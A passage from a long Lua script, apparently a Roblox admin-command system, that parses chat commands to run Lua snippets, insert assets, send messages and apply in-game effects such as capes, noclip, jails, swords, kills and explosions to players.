  4365. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  4366. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4367. end
  4368.  
  4369. if msg:lower():sub(1,2) == "s " then
  4370. coroutine.resume(coroutine.create(function()
  4371. Output(msg:sub(3), plr)
  4372. if script:findFirstChild("ScriptBase") then
  4373. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  4374. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  4375. else loadstring(msg:sub(3))()
  4376. end
  4377. end))
  4378. end
  4379.  
  4380. if msg:lower():sub(1,3) == "ls " then
  4381. coroutine.resume(coroutine.create(function()
  4382. if script:findFirstChild("LocalScriptBase") then
  4383. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  4384. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  4385. end
  4386. end))
  4387. end
  4388.  
  4389. if msg:lower():sub(1,6) == "lsplr " then
  4390. local chk1 = msg:lower():sub(7):find(" ") + 6
  4391. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4392. for i, v in pairs(plrz) do
  4393. coroutine.resume(coroutine.create(function()
  4394. if v and v:findFirstChild("PlayerGui") then
  4395. if script:findFirstChild("LocalScriptBase") then
  4396. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  4397. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  4398. end
  4399. end
  4400. end))
  4401. end
  4402. end
  4403.  
  4404. if msg:lower():sub(1,4) == "ins " then
  4405. coroutine.resume(coroutine.create(function()
  4406. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  4407. if obj and #obj:children() >= 1 and plr.Character then
  4408. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  4409. end
  4410. end))
  4411. end
  4412.  
  4413. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  4414. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  4415. RemoveMessage()
  4416. objects = {}
  4417. end
  4418.  
  4419. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  4420. game.Lighting.Ambient = origsettings.abt
  4421. game.Lighting.Brightness = origsettings.brt
  4422. game.Lighting.TimeOfDay = origsettings.time
  4423. game.Lighting.FogColor = origsettings.fclr
  4424. game.Lighting.FogEnd = origsettings.fe
  4425. game.Lighting.FogStart = origsettings.fs
  4426. for i, v in pairs(lobjs) do v:Destroy() end
  4427. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  4428. end
  4429.  
  4430. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  4431. coroutine.resume(coroutine.create(function()
  4432. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  4433. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  4434. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  4435. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  4436. end))
  4437. end
  4438.  
  4439. if msg:lower():sub(1,10) == "countdown " then
  4440. local num = math.min(tonumber(msg:sub(11)),120)
  4441. for i = num, 1, -1 do
  4442. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  4443. wait(1)
  4444. end
  4445. end
  4446.  
  4447. if msg:lower():sub(1,3) == "tm " then
  4448. local chk1 = msg:lower():sub(4):find(" ") + 3
  4449. local num = tonumber(msg:sub(4,chk1-1))
  4450. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  4451. end
  4452.  
  4453. if msg:lower():sub(1,2) == "m " then
  4454. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  4455. end
  4456.  
  4457. if msg:lower():sub(1,2) == "h " then
  4458. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  4459. end
  4460.  
  4461. if msg:lower():sub(1,3) == "pm " then
  4462. local chk1 = msg:lower():sub(4):find(" ") + 3
  4463. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  4464. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  4465. end
  4466.  
  4467. if msg:lower():sub(1,11) == "resetstats " then
  4468. local plrz = GetPlr(plr, msg:lower():sub(12))
  4469. for i, v in pairs(plrz) do
  4470. coroutine.resume(coroutine.create(function()
  4471. if v and v:findFirstChild("leaderstats") then
  4472. for a, q in pairs(v.leaderstats:children()) do
  4473. if q:IsA("IntValue") then q.Value = 0 end
  4474. end
  4475. end
  4476. end))
  4477. end
  4478. end
  4479.  
  4480. if msg:lower():sub(1,5) == "gear " then
  4481. local chk1 = msg:lower():sub(6):find(" ") + 5
  4482. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  4483. for i, v in pairs(plrz) do
  4484. coroutine.resume(coroutine.create(function()
  4485. if v and v:findFirstChild("Backpack") then
  4486. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  4487. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  4488. obj:Destroy()
  4489. end
  4490. end))
  4491. end
  4492. end
  4493.  
  4494. if msg:lower():sub(1,4) == "hat " then
  4495. local chk1 = msg:lower():sub(5):find(" ") + 4
  4496. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  4497. for i, v in pairs(plrz) do
  4498. coroutine.resume(coroutine.create(function()
  4499. if v and v.Character then
  4500. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  4501. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  4502. obj:Destroy()
  4503. end
  4504. end))
  4505. end
  4506. end
  4507.  
  4508. if msg:lower():sub(1,5) == "cape " then
  4509. local chk1 = msg:lower():sub(6):find(" ")
  4510. local plrz = GetPlr(plr, msg:lower():sub(6))
  4511. local str = "torso.BrickColor"
  4512. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4513. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  4514. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  4515. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  4516. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  4517. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  4518. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  4519. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  4520. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  4521. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  4522. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  4523. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  4524. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  4525. if BrickColor.new(teststr) ~= nil then str = teststr end
  4526. end
  4527. for i, v in pairs(plrz) do
  4528. coroutine.resume(coroutine.create(function()
  4529. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  4530. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  4531. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  4532. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  4533. local torso = plr.Character.Torso
  4534. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  4535. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  4536. p.Size = Vector3.new(.2,.2,.2)
  4537. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  4538. local motor1 = Instance.new("Motor", p)
  4539. motor1.Part0 = p
  4540. motor1.Part1 = torso
  4541. motor1.MaxVelocity = .01
  4542. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  4543. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  4544. local wave = false
  4545. repeat wait(1/44)
  4546. local ang = 0.1
  4547. local oldmag = torso.Velocity.magnitude
  4548. local mv = .002
  4549. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  4550. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  4551. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  4552. motor1.DesiredAngle = -ang
  4553. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  4554. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  4555. if torso.Velocity.magnitude < .1 then wait(.1) end
  4556. until not p or p.Parent ~= torso.Parent
  4557. script:Destroy()
  4558. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  4559. end
  4560. end))
  4561. end
  4562. end
  4563.  
  4564. if msg:lower():sub(1,7) == "uncape " then
  4565. local plrz = GetPlr(plr, msg:lower():sub(8))
  4566. for i, v in pairs(plrz) do
  4567. coroutine.resume(coroutine.create(function()
  4568. if v and v:findFirstChild("PlayerGui") and v.Character then
  4569. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  4570. end
  4571. end))
  4572. end
  4573. end
  4574.  
  4575. if msg:lower():sub(1,7) == "noclip " then
  4576. local plrz = GetPlr(plr, msg:lower():sub(8))
  4577. for i, v in pairs(plrz) do
  4578. coroutine.resume(coroutine.create(function()
  4579. if v and v:findFirstChild("PlayerGui") then
  4580. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  4581. cl.Parent = v.PlayerGui cl.Disabled = false
  4582. end
  4583. end))
  4584. end
  4585. end
  4586.  
  4587. if msg:lower():sub(1,5) == "clip " then
  4588. local plrz = GetPlr(plr, msg:lower():sub(6))
  4589. for i, v in pairs(plrz) do
  4590. coroutine.resume(coroutine.create(function()
  4591. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4592. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  4593. v.Character.Torso.Anchored = false
  4594. wait(.1) v.Character.Humanoid.PlatformStand = false
  4595. end
  4596. end))
  4597. end
  4598. end
  4599.  
  4600. if msg:lower():sub(1,5) == "jail " then
  4601. local plrz = GetPlr(plr, msg:lower():sub(6))
  4602. for i, v in pairs(plrz) do
  4603. coroutine.resume(coroutine.create(function()
  4604. if v and v.Character and v.Character:findFirstChild("Torso") then
  4605. local vname = v.Name
  4606. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  4607. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  4608. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  4609. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4610. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4611. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  4612. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4613. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4614. end)
  4615. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  4616. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  4617. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  4618. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  4619. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  4620. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  4621. local msh2 = msh:Clone() msh2.Parent = back
  4622. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  4623. local msh4 = msh3:Clone() msh4.Parent = left
  4624. v.Character.Torso.CFrame = cf
  4625. end
  4626. end))
  4627. end
  4628. end
  4629.  
  4630. if msg:lower():sub(1,7) == "unjail " then
  4631. local plrz = GetPlr(plr, msg:lower():sub(8))
  4632. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  4633. end
  4634.  
  4635. if msg:lower():sub(1,11) == "starttools " then
  4636. local plrz = GetPlr(plr, msg:lower():sub(12))
  4637. for i, v in pairs(plrz) do
  4638. coroutine.resume(coroutine.create(function()
  4639. if v and v:findFirstChild("Backpack") then
  4640. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  4641. end
  4642. end))
  4643. end
  4644. end
  4645.  
  4646. if msg:lower():sub(1,6) == "sword " then
  4647. local plrz = GetPlr(plr, msg:lower():sub(7))
  4648. for i, v in pairs(plrz) do
  4649. coroutine.resume(coroutine.create(function()
  4650. if v and v:findFirstChild("Backpack") then
  4651. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  4652. sword.GripForward = Vector3.new(-1,0,0)
  4653. sword.GripPos = Vector3.new(0,0,-1.5)
  4654. sword.GripRight = Vector3.new(0,1,0)
  4655. sword.GripUp = Vector3.new(0,0,1)
  4656. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  4657. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  4658. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  4659. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  4660. local Damage = 15
  4661. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  4662. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  4663. SlashSound.Volume = 1
  4664. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  4665. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  4666. LungeSound.Volume = 1
  4667. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  4668. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  4669. UnsheathSound.Volume = 1
  4670. local last = 0
  4671. script.Parent.Handle.Touched:connect(function(hit)
  4672. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  4673. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  4674. hit.Parent.Humanoid:TakeDamage(Damage)
  4675. end
  4676. end)
  4677. script.Parent.Activated:connect(function()
  4678. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  4679. script.Parent.Enabled = false
  4680. local tick = game:service("RunService").Stepped:wait()
  4681. if tick - last <= .2 then
  4682. LungeSound:play()
  4683. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  4684. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  4685. wait(.2)
  4686. script.Parent.GripForward = Vector3.new(0,0,1)
  4687. script.Parent.GripRight = Vector3.new(0,-1,0)
  4688. script.Parent.GripUp = Vector3.new(-1,0,0)
  4689. wait(.3)
  4690. frc:Destroy() wait(.5)
  4691. script.Parent.GripForward = Vector3.new(-1,0,0)
  4692. script.Parent.GripRight = Vector3.new(0,1,0)
  4693. script.Parent.GripUp = Vector3.new(0,0,1)
  4694. else
  4695. SlashSound:play()
  4696. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  4697. end
  4698. last = tick
  4699. script.Parent.Enabled = true
  4700. end)
  4701. script.Parent.Equipped:connect(function(mouse)
  4702. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  4703. UnsheathSound:play()
  4704. script.Parent.Enabled = true
  4705. if not mouse then return end
  4706. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  4707. end)]] cl.Disabled = false
  4708. end
  4709. end))
  4710. end
  4711. end
  4712.  
  4713. if msg:lower():sub(1,6) == "clone " then
  4714. local plrz = GetPlr(plr, msg:lower():sub(7))
  4715. for i, v in pairs(plrz) do
  4716. coroutine.resume(coroutine.create(function()
  4717. if v and v.Character then
  4718. v.Character.Archivable = true
  4719. local cl = v.Character:Clone()
  4720. table.insert(objects,cl)
  4721. cl.Parent = game.Workspace
  4722. cl:MoveTo(v.Character:GetModelCFrame().p)
  4723. cl:MakeJoints()
  4724. v.Character.Archivable = false
  4725. end
  4726. end))
  4727. end
  4728. end
  4729.  
  4730. if msg:lower():sub(1,8) == "control " then
  4731. local plrz = GetPlr(plr, msg:lower():sub(9))
  4732. for i, v in pairs(plrz) do
  4733. coroutine.resume(coroutine.create(function()
  4734. if v and v.Character then
  4735. v.Character.Humanoid.PlatformStand = true
  4736. local w = Instance.new("Weld", plr.Character.Torso )
  4737. w.Part0 = plr.Character.Torso
  4738. w.Part1 = v.Character.Torso
  4739. local w2 = Instance.new("Weld", plr.Character.Head)
  4740. w2.Part0 = plr.Character.Head
  4741. w2.Part1 = v.Character.Head
  4742. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  4743. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  4744. w3.Part1 = v.Character:findFirstChild("Right Arm")
  4745. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  4746. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  4747. w4.Part1 = v.Character:findFirstChild("Left Arm")
  4748. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  4749. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  4750. w5.Part1 = v.Character:findFirstChild("Right Leg")
  4751. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  4752. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  4753. w6.Part1 = v.Character:findFirstChild("Left Leg")
  4754. plr.Character.Head.face:Destroy()
  4755. for i, p in pairs(v.Character:children()) do
  4756. if p:IsA("BasePart") then
  4757. p.CanCollide = false
  4758. end
  4759. end
  4760. for i, p in pairs(plr.Character:children()) do
  4761. if p:IsA("BasePart") then
  4762. p.Transparency = 1
  4763. elseif p:IsA("Hat") then
  4764. p:Destroy()
  4765. end
  4766. end
  4767. v.Character.Parent = plr.Character
  4768. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  4769. end
  4770. end))
  4771. end
  4772. end
  4773.  
  4774. if msg:lower():sub(1,5) == "kill " then
  4775. local plrz = GetPlr(plr, msg:lower():sub(6))
  4776. for i, v in pairs(plrz) do
  4777. coroutine.resume(coroutine.create(function()
  4778. if v and v.Character then v.Character:BreakJoints() end
  4779. end))
  4780. end
  4781. end
  4782.  
  4783. if msg:lower():sub(1,8) == "respawn " then
  4784. local plrz = GetPlr(plr, msg:lower():sub(9))
  4785. for i, v in pairs(plrz) do
  4786. coroutine.resume(coroutine.create(function()
  4787. if v and v.Character then v:LoadCharacter() end
  4788. end))
  4789. end
  4790. end
  4791.  
  4792. if msg:lower():sub(1,5) == "trip " then
  4793. local plrz = GetPlr(plr, msg:lower():sub(6))
  4794. for i, v in pairs(plrz) do
  4795. coroutine.resume(coroutine.create(function()
  4796. if v and v.Character and v.Character:findFirstChild("Torso") then
  4797. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  4798. end
  4799. end))
  4800. end
  4801. end
  4802.  
  4803. if msg:lower():sub(1,5) == "stun " then
  4804. local plrz = GetPlr(plr, msg:lower():sub(6))
  4805. for i, v in pairs(plrz) do
  4806. coroutine.resume(coroutine.create(function()
  4807. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4808. v.Character.Humanoid.PlatformStand = true
  4809. end
  4810. end))
  4811. end
  4812. end
  4813.  
  4814. if msg:lower():sub(1,7) == "unstun " then
  4815. local plrz = GetPlr(plr, msg:lower():sub(8))
  4816. for i, v in pairs(plrz) do
  4817. coroutine.resume(coroutine.create(function()
  4818. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4819. v.Character.Humanoid.PlatformStand = false
  4820. end
  4821. end))
  4822. end
  4823. end
  4824.  
  4825. if msg:lower():sub(1,5) == "jump " then
  4826. local plrz = GetPlr(plr, msg:lower():sub(6))
  4827. for i, v in pairs(plrz) do
  4828. coroutine.resume(coroutine.create(function()
  4829. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4830. v.Character.Humanoid.Jump = true
  4831. end
  4832. end))
  4833. end
  4834. end
  4835.  
  4836. if msg:lower():sub(1,4) == "sit " then
  4837. local plrz = GetPlr(plr, msg:lower():sub(5))
  4838. for i, v in pairs(plrz) do
  4839. coroutine.resume(coroutine.create(function()
  4840. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4841. v.Character.Humanoid.Sit = true
  4842. end
  4843. end))
  4844. end
  4845. end
  4846.  
  4847. if msg:lower():sub(1,10) == "invisible " then
  4848. local plrz = GetPlr(plr, msg:lower():sub(11))
  4849. for i, v in pairs(plrz) do
  4850. coroutine.resume(coroutine.create(function()
  4851. if v and v.Character then
  4852. for a, obj in pairs(v.Character:children()) do
  4853. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  4854. end
  4855. end
  4856. end))
  4857. end
  4858. end
  4859.  
  4860. if msg:lower():sub(1,8) == "visible " then
  4861. local plrz = GetPlr(plr, msg:lower():sub(9))
  4862. for i, v in pairs(plrz) do
  4863. coroutine.resume(coroutine.create(function()
  4864. if v and v.Character then
  4865. for a, obj in pairs(v.Character:children()) do
  4866. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  4867. end
  4868. end
  4869. end))
  4870. end
  4871. end
  4872.  
  4873. if msg:lower():sub(1,5) == "lock " then
  4874. local plrz = GetPlr(plr, msg:lower():sub(6))
  4875. for i, v in pairs(plrz) do
  4876. coroutine.resume(coroutine.create(function()
  4877. if v and v.Character then
  4878. for a, obj in pairs(v.Character:children()) do
  4879. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  4880. end
  4881. end
  4882. end))
  4883. end
  4884. end
  4885.  
  4886. if msg:lower():sub(1,7) == "unlock " then
  4887. local plrz = GetPlr(plr, msg:lower():sub(8))
  4888. for i, v in pairs(plrz) do
  4889. coroutine.resume(coroutine.create(function()
  4890. if v and v.Character then
  4891. for a, obj in pairs(v.Character:children()) do
  4892. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  4893. end
  4894. end
  4895. end))
  4896. end
  4897. end
  4898.  
  4899. if msg:lower():sub(1,8) == "explode " then
  4900. local plrz = GetPlr(plr, msg:lower():sub(9))
  4901. for i, v in pairs(plrz) do
  4902. coroutine.resume(coroutine.create(function()
  4903. if v and v.Character and v.Character:findFirstChild("Torso") then
  4904. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  4905. end
  4906. end))
  4907. end
  4908. end
  4909.  
  4910. if msg:lower():sub(1,4) == "age " then
  4911. local plrz = GetPlr(plr, msg:lower():sub(5))
  4912. for i, v in pairs(plrz) do
  4913. coroutine.resume(coroutine.create(function()
  4914. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  4915. end))
  4916. end
  4917. end
  4918.  
  4919. if msg:lower():sub(1,5) == "fire " then
  4920. local plrz = GetPlr(plr, msg:lower():sub(6))
  4921. for i, v in pairs(plrz) do
  4922. coroutine.resume(coroutine.create(function()
  4923. if v and v.Character and v.Character:findFirstChild("Torso") then
  4924. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  4925. end
  4926. end))
  4927. end
  4928. end
  4929.  
  4930. if msg:lower():sub(1,7) == "unfire " then
  4931. local plrz = GetPlr(plr, msg:lower():sub(8))
  4932. for i, v in pairs(plrz) do
  4933. coroutine.resume(coroutine.create(function()
  4934. if v and v.Character and v.Character:findFirstChild("Torso") then
  4935. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  4936. end
  4937. end))
  4938. end
  4939. end
  4940.  
  4941. if msg:lower():sub(1,6) == "smoke " then
  4942. local plrz = GetPlr(plr, msg:lower():sub(7))
  4943. for i, v in pairs(plrz) do
  4944. coroutine.resume(coroutine.create(function()
  4945. if v and v.Character and v.Character:findFirstChild("Torso") then
  4946. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  4947. end
  4948. end))
  4949. end
  4950. end
  4951.  
  4952. if msg:lower():sub(1,8) == "unsmoke " then
